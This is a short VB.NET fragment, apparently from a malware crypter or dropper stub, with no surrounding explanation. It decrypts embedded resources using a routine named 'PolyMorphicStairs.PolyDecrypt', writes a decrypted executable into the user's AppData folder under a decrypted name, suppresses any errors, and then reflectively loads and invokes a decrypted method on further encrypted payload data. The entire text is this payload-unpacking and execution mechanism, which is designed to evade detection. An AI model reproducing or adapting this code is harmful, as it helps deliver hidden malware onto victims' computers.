Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ R.GetObject("K"))) Dim I As String = Environ("APPDATA") & "\" & N & ".exe" If IO.File.Exists(I) Then IO.File.Delete(I) End If Try My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) Catch End Try LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})